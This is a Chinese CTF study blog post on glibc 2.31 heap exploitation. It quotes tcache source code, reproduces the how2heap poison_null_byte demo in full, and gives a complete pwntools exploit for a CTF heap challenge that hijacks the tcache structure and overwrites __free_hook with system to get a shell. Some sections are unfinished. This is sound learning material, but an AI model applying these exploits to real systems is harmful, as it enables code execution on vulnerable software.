How2HE4p!

how2heap奥, 看👴干不干你就完🌶️:

0x00

newstar今年week4非常的离奇, 除了一道2.23的doublefree, 那玩意给个勾来都秒了, 剩下全是2.31.

后话是其中一道2.31居然是逆向题, 跟堆毫无关系

踏马的, 看了看我贫瘠的堆题水平, 我发现我几乎就没怎么做过高版本的题, 2.31的水平仅限于最初级的tcache poisoning这种, 痛定思痛, 准备推一下how2heap.

这篇文章的进度预计是直接从2.31开推, 跟着源码一起看.

以下是本文所用的资源:

how2heap:how2heap

roderick大神的博客:Glibc堆利用之house of系列总结 - roderick - record and learn! (roderickchan.cn)

源码网站: malloc.c - malloc/malloc.c - Glibc source code (glibc-2.31) - Bootlin

知乎上的一个专门的2.31的文章:Heap Exploit v2.31(zhihu.com),how2heap仓库下面有一个专门的2.31其实似乎就是这篇文章

0x01 2️⃣.3️⃣1️⃣

我们首先从tcache本身的一些东西入手:

1
2
3
4
5
6
typedef struct tcache_entry
{
struct tcache_entry *next;
/* This field exists to detect double frees. */
struct tcache_perthread_struct *key;
} tcache_entry;

2.31中, 我们可以看到原有的tcache_entry结构相较于2.27加了一层保护, 这层保护应用于2.29及以后的版本, 使用了一个key段, 该段位于chunk的bk段,

然后tcache_put函数中对key段做了一些手脚, 设置其值为tcache结构体的地址:

1
2
3
4
5
6
7
8
9
10
11
12
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);

/* Mark this chunk as "in the tcache" so the test in _int_free will
detect a double free. */
e->key = tcache;

e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}

如注释所说, 这一句话的作用是设置标志位, 将其置于tcache中, 防止double free.

这个保护在free处是这样的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#if USE_TCACHE
{
size_t tc_idx = csize2tidx (size);
if (tcache != NULL && tc_idx < mp_.tcache_bins)
{
/* Check to see if it's already in the tcache. */
tcache_entry *e = (tcache_entry *) chunk2mem (p);

/* This test succeeds on double free. However, we don't 100%
trust it (it also matches random payload data at a 1 in
2^<size_t> chance), so verify it's not an unlikely
coincidence before aborting. */
if (__glibc_unlikely (e->key == tcache))
{
tcache_entry *tmp;
LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);
for (tmp = tcache->entries[tc_idx];
tmp;
tmp = tmp->next)
if (tmp == e)
malloc_printerr ("free(): double free detected in tcache 2");
/* If we get here, it was a coincidence. We've wasted a
few cycles, but don't abort. */
}

if (tcache->counts[tc_idx] < mp_.tcache_count)
{
tcache_put (p, tc_idx);
return;
}
}
}

我们可以看见, free时当key段是tcache时并不是直接挂掉, 而是通过tmp指针在entry链上逐个检查, 如果tmp指针与e(即chunk)的指针值相等,则认为是double free. 之前的tcache double free相当随意, 但是这个检查的绕过似乎也相当随意, 由于在检查时首先看的是key段, 所以只需要改掉key段即可.

这属于是最基础层面上的一些东西, 接下来看看how2heap里面的:

1.1 poison_null_byte

源码我还是整段的放一下吧:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <assert.h>

int main()
{
setbuf(stdin, NULL);
setbuf(stdout, NULL);

puts("Welcome to poison null byte!");
puts("Tested in Ubuntu 20.04 64bit.");
puts("This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.");

puts("Some of the implementation details are borrowed from https://github.com/StarCross-Tech/heap_exploit_2.31/blob/master/off_by_null.c\n");

// step1: allocate padding
puts("Step1: allocate a large padding so that the fake chunk's addresses's lowest 2nd byte is \\x00");
void *tmp = malloc(0x1);
void *heap_base = (void *)((long)tmp & (~0xfff)); //页对齐
printf("heap address: %p\n", heap_base);
size_t size = 0x10000 - ((long)tmp&0xffff) - 0x20; //构造个能对到0000的size
printf("Calculate padding chunk size: 0x%lx\n", size);
puts("Allocate the padding. This is required to avoid a 4-bit bruteforce because we are going to overwrite least significant two bytes.");
void *padding= malloc(size);

// step2: allocate prev chunk and victim chunk
puts("\nStep2: allocate two chunks adjacent to each other.");
puts("Let's call the first one 'prev' and the second one 'victim'.");
void *prev = malloc(0x500);
void *victim = malloc(0x4f0);
puts("malloc(0x10) to avoid consolidation");
malloc(0x10);
printf("prev chunk: malloc(0x500) = %p\n", prev);
printf("victim chunk: malloc(0x4f0) = %p\n", victim);

// step3: link prev into largebin
puts("\nStep3: Link prev into largebin");
puts("This step is necessary for us to forge a fake chunk later");
puts("The fd_nextsize of prev and bk_nextsize of prev will be the fd and bck pointers of the fake chunk");
puts("allocate a chunk 'a' with size a little bit smaller than prev's");
void *a = malloc(0x4f0);
printf("a: malloc(0x4f0) = %p\n", a);
puts("malloc(0x10) to avoid consolidation");
malloc(0x10);
puts("allocate a chunk 'b' with size a little bit larger than prev's");
void *b = malloc(0x510);
printf("b: malloc(0x510) = %p\n", b);
puts("malloc(0x10) to avoid consolidation");
malloc(0x10);

puts("\nCurrent Heap Layout\n"
" ... ...\n"
"padding\n"
" prev Chunk(addr=0x??0010, size=0x510)\n"
" victim Chunk(addr=0x??0520, size=0x500)\n"
" barrier Chunk(addr=0x??0a20, size=0x20)\n"
" a Chunk(addr=0x??0a40, size=0x500)\n"
" barrier Chunk(addr=0x??0f40, size=0x20)\n"
" b Chunk(addr=0x??0f60, size=0x520)\n"
" barrier Chunk(addr=0x??1480, size=0x20)\n");

puts("Now free a, b, prev");
free(a);
free(b);
free(prev);
puts("current unsorted_bin: header <-> [prev, size=0x510] <-> [b, size=0x520] <-> [a, size=0x500]\n");

puts("Allocate a huge chunk to enable sorting");
malloc(0x1000);
puts("current large_bin: header <-> [b, size=0x520] <-> [prev, size=0x510] <-> [a, size=0x500]\n");

puts("This will add a, b and prev to largebin\nNow prev is in largebin");
printf("The fd_nextsize of prev points to a: %p\n", ((void **)prev)[2]+0x10);
printf("The bk_nextsize of prev points to b: %p\n", ((void **)prev)[3]+0x10);

// step4: allocate prev again to construct fake chunk
puts("\nStep4: Allocate prev again to construct the fake chunk");
puts("Since large chunk is sorted by size and a's size is smaller than prev's,");
puts("we can allocate 0x500 as before to take prev out");
void *prev2 = malloc(0x500);
printf("prev2: malloc(0x500) = %p\n", prev2);
puts("Now prev2 == prev, prev2->fd == prev2->fd_nextsize == a, and prev2->bk == prev2->bk_nextsize == b");
assert(prev == prev2);

puts("The fake chunk is contained in prev and the size is smaller than prev's size by 0x10");
puts("So set its size to 0x501 (0x510-0x10 | flag)");
((long *)prev)[1] = 0x501;
puts("And set its prev_size(next_chunk) to 0x500 to bypass the size==prev_size(next_chunk) check");
*(long *)(prev + 0x500) = 0x500;
printf("The fake chunk should be at: %p\n", prev + 0x10);
puts("use prev's fd_nextsize & bk_nextsize as fake_chunk's fd & bk");
puts("Now we have fake_chunk->fd == a and fake_chunk->bk == b");

// step5: bypass unlinking
puts("\nStep5: Manipulate residual pointers to bypass unlinking later.");
puts("Take b out first by allocating 0x510");
void *b2 = malloc(0x510);
printf("Because of the residual pointers in b, b->fd points to a right now: %p\n", ((void **)b2)[0]+0x10);
printf("We can overwrite the least significant two bytes to make it our fake chunk.\n"
"If the lowest 2nd byte is not \\x00, we need to guess what to write now\n");
((char*)b2)[0] = '\x10';
((char*)b2)[1] = '\x00'; // b->fd <- fake_chunk
printf("After the overwrite, b->fd is: %p, which is the chunk pointer to our fake chunk\n", ((void **)b2)[0]);

puts("To do the same to a, we can move it to unsorted bin first"
"by taking it out from largebin and free it into unsortedbin");
void *a2 = malloc(0x4f0);
free(a2);
puts("Now free victim into unsortedbin so that a->bck points to victim");
free(victim);
printf("a->bck: %p, victim: %p\n", ((void **)a)[1], victim);
puts("Again, we take a out and overwrite a->bck to fake chunk");
void *a3 = malloc(0x4f0);
((char*)a3)[8] = '\x10';
((char*)a3)[9] = '\x00';
printf("After the overwrite, a->bck is: %p, which is the chunk pointer to our fake chunk\n", ((void **)a3)[1]);
// pass unlink_chunk in malloc.c:
// mchunkptr fd = p->fd;
// mchunkptr bk = p->bk;
// if (__builtin_expect (fd->bk != p || bk->fd != p, 0))
// malloc_printerr ("corrupted double-linked list");
puts("And we have:\n"
"fake_chunk->fd->bk == a->bk == fake_chunk\n"
"fake_chunk->bk->fd == b->fd == fake_chunk\n"
);

// step6: add fake chunk into unsorted bin by off-by-null
puts("\nStep6: Use backward consolidation to add fake chunk into unsortedbin");
puts("Take victim out from unsortedbin");
void *victim2 = malloc(0x4f0);
printf("%p\n", victim2);
puts("off-by-null into the size of vicim");
/* VULNERABILITY */
((char *)victim2)[-8] = '\x00';
/* VULNERABILITY */

puts("Now if we free victim, libc will think the fake chunk is a free chunk above victim\n"
"It will try to backward consolidate victim with our fake chunk by unlinking the fake chunk then\n"
"add the merged chunk into unsortedbin."
);
printf("For our fake chunk, because of what we did in step4,\n"
"now P->fd->bk(%p) == P(%p), P->bk->fd(%p) == P(%p)\n"
"so the unlink will succeed\n", ((void **)a3)[1], prev, ((void **)b2)[0], prev);
free(victim);
puts("After freeing the victim, the new merged chunk is added to unsorted bin"
"And it is overlapped with the prev chunk");

// step7: validate the chunk overlapping
puts("Now let's validate the chunk overlapping");
void *merged = malloc(0x100);
printf("merged: malloc(0x100) = %p\n", merged);
memset(merged, 'A', 0x80);
printf("Now merged's content: %s\n", (char *)merged);

puts("Overwrite prev's content");
memset(prev2, 'C', 0x80);
printf("merged's content has changed to: %s\n", (char *)merged);

assert(strstr(merged, "CCCCCCCCC"));
}

首先第一步, 通过各种手段使得我们真实的利用从后两字节为\x00的地址处开始, 之后先一堆东西, 不知道在做什么

此时我们把断点下到63行, 观察一下现在堆上的东西

image-20231024003817588

此时unsorted中的形式是这样的:

image-20231024004308565

10.31 先 🕊 🌶

0x02 2️⃣.3️⃣5️⃣

没写完 先🕊

0x03 Othersheap

0x03就是 平时刷什么题的时候遇到的有意思的做法 往这里一起写一写

这个博客是分很多天写的, 逻辑确实很混乱, 但是我觉得还好吧()

1.tcache_struct hijack

例题是ciscn 19年的final3, buu有, 这个题在这里不选择常规的方法, 因为他原本的环境里没有double free的检测

image-20231031210329468

每次分配后会给出地址, 这里是唯一输出, 所以首先思路应该是分配到在libc里的一个chunk.

然后还能看到一个裸的uaf, 如果不用stash可以伪造一个大chunk进unsorted再改

但是我怎么感觉还不如这种方法, 又绕过了检查, 又不是那么难想

所以在这里:

  • 我们首先是使用stash机制完成double free

  • 但是stash需要很多次申请机会, 本身我们就只有24次, 实际上的stash过程就需要用到19次, 直到20th才轮到我们去进行任意地址写

  • 故选择劫持 tcache struct, 就是放链表的那个大的结构体

    • 该结构体在libc2.27中是0x250大小, (后续版本可能有些差别), 前0x40段是count, 后面的是链表头地址
    • 可以通过这里改count, 改掉这个之后可以达到不进入tcache的效果
    • 由于链表头就在这个chunk里存着, 故可以通过控制这里达到直接控制chunk的效果, 似乎能做到些任意写
    • 这个结构体扔进unsorted之后, 再申请是不切割的(2.27的这个题是这样的), 暂时我还不知道是为什么,

后续去搜了搜, 好像有点像个板子(), exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
from pwn import *
from LibcSearcher import *
context(arch='amd64',os='linux')
#context(log_level='debug')
r=process("./cf33")
#r=remote("node4.buuoj.cn",27946)
elf=ELF("./cf33")
libc=ELF("./libc-2.27.so")

def debug():
gdb.attach(r)
pause()

def add(idx,size,content):
r.sendlineafter(">","1")
r.recvuntil("index")
r.sendline(str(idx))
r.recvuntil("size")
r.sendline(str(size))
r.sendafter("something",content)

def remove(idx):
r.sendlineafter(">","2")
r.sendlineafter("index",str(idx))

add(0,0x70,b"a")
r.recvuntil("gift :0x")
heap_base=int(r.recv(12),16)-0x11e70
log.success("heap_base="+hex(heap_base))

for i in range(1,10):
add(i,0x70,b"a")

for i in range(7):
remove(i)
#debug()
remove(7)
remove(8)
remove(7)

for i in range(10,17):
add(i,0x70,b"/bin/sh")

add(17,0x70,p64(heap_base+0x10))
#debug()
add(18,0x70,b"a")
add(19,0x70,b"a")
#debug()
payload=(b'\x00'*35+b'\xff'*1).ljust(0x40,b'\x00')+p64(heap_base+0x10)*6
#print(payload)
add(20,0x70,payload)
#debug()
remove(20)
#debug()
add(21,0x20,b"a")
#debug()
add(22,0x20,b"a")
r.recvuntil("gift :0x")
libc_base=int(r.recv(12),16)-0x3ebca0
log.success("libc_base="+hex(libc_base))
#debug()
add(23,0x50,(b'\x07'*10).ljust(0x40,b'\x00')+p64(libc_base+libc.sym['__free_hook']) * 2)
add(24,0x10,p64(libc_base+libc.sym["system"]))
#debug()
remove(10)

r.interactive()

主要思路是在19次达成stash之后, 从第20次起改掉0x250的count位和小chunk的链表头, 使结构体chunk进入unsorted, 再分配2次即可分配到libc里, 通过输出地址leak libc

然后再次劫持, 把链表头改成free_hook即可, 后续是常规过程.

0x04 Others

在脱离用户态之前这里希望都可以一直更新, 能一直写下去就好.


How2HE4p!
http://example.com/2023/10/31/How2HEAP/
Author
Luo
Posted on
October 31, 2023
Updated on
October 31, 2023
Licensed under